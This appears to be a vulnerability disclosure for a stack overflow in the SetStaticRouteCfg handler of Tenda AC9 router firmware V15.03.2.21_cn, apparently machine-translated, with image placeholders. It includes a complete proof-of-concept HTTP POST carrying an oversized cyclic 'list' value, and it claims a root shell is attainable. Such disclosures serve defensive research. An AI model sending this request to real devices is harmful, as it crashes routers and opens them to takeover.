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Tenda AC9 V15.03.2.21_cn stack overflow

Overview

1. Affected version

image-20220214114428086

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220214124907921

The content obtained by the setstaticroutecfg interface through the list parameter is passed to V5, and then V5 is brought into the function sub_ In 6ffe8 Follow up view

image-20220214124949142

At this time, the parameter corresponding to V5 is A2 After that, the program assigns V2 to V15, and formats the matched content directly into the stack through the sscanf function and regular expression. There is no size limit, and there is a stack overflow vulnerability

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V15.03.2.21_cn
  2. Attack with the following POC attacks
POST /goform/SetStaticRouteCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 542
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/static_route.html?random=0.5251747338346628&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcbzk1qw

list=192.168.3.0,255.255.255.0,192.168.3.1aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

The reproduction results are as follows:

image-20220214114614959

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shelimage-20220214123320952